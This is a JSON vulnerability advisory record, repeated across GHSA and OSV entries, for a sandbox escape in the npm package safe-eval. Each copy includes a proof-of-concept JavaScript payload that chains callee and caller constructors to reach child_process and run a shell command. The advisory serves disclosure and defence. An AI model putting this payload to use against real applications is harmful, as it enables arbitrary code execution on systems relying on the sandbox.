{"id":"GHSA-9pcf-h8q9-63f6","aliases":[],"status":"published","title":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","description":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() =\u003e { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"published":"2020-09-03T17:12:41Z","modified":"2023-01-09T05:04:08Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"safe-eval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"safe-eval","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}]}],"references":[{"url":"https://www.npmjs.com/advisories/1033","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9pcf-h8q9-63f6"}],"sources":{"ghsa":[{"id":"GHSA-9pcf-h8q9-63f6","title":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","description":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() =\u003e { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","status":"published","published":"2020-09-03T17:12:41Z","modified":"2023-01-09T05:04:08Z","updated_at":"2026-11-02T14:36:08.863482Z"}],"osv":[{"id":"GHSA-9pcf-h8q9-63f6","title":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","description":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() =\u003e { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","status":"published","published":"2020-09-03T17:12:41Z","modified":"2020-08-31T18:44:49Z","updated_at":"2026-11-02T15:46:43.875515Z"}]}}
